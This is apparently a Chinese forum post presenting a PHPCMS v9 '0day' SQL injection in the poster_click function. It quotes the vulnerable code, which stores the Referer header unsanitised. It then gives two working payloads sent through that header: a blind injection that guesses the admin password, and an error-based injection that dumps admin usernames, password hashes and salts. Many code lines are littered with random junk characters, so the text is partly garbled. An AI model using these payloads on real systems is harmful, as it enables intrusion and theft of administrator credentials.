phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
7 m; ~* G. q. K. i' e: G+ F
问题函数\phpcms\modules\poster\index.php

public function poster_click() {
0 F- q. g" T1 f6 s$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
: d) y! B* [. s! f& l7 l4 g$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
/ n, v2 I' k* k' Q# ]$ip_area = pc_base::load_sys_class('ip_area');
" f3 e- y3 O& V2 s; L4 S$ip = ip();
- d: [: ~" [& N: H+ B: y% W8 j$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
' a# t: @. P% O) b$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
) y; i7 i, A% ~0 z1 G& y- H$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
* Z& G2 e) v; \5 W: F1 o$setting = string2array($r['setting']);
, ~6 r7 V. }1 A# R6 Iif (count($setting)==1) {
" u/ L' J, J+ k2 x" _  P8 }' ^! `$url = $setting['1']['linkurl'];
  N% s$ S4 i* B7 {- @} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
+ z- S  s" l6 _}
: ?0 G+ H: t1 T. g, x0 |0 Sheader('Location: '.$url);
  i5 c  x9 Y# V5 x% O2 q}
- Z7 f- m! u, l& ?& e% v0 Z4 |


利用方式：

! {4 f$ k+ z; G- u/ ?% k4 [1、可以采用盲注入的手法：

referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
+ h& `! y' S$ T/ H
, o0 p) y3 A5 a$ ~通过返回页面，正常与否一个个猜解密码字段。
' Y) m+ o/ s0 q/ V0 T% S4 r
# B* C# c, Q* m) N! H" Y2、代码是花开写的，随手附上了：

4 H- ~5 q$ A. t" {4 m- U: U1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
3 o7 _* v8 H9 G; P
此方法是爆错注入手法，原理自查。
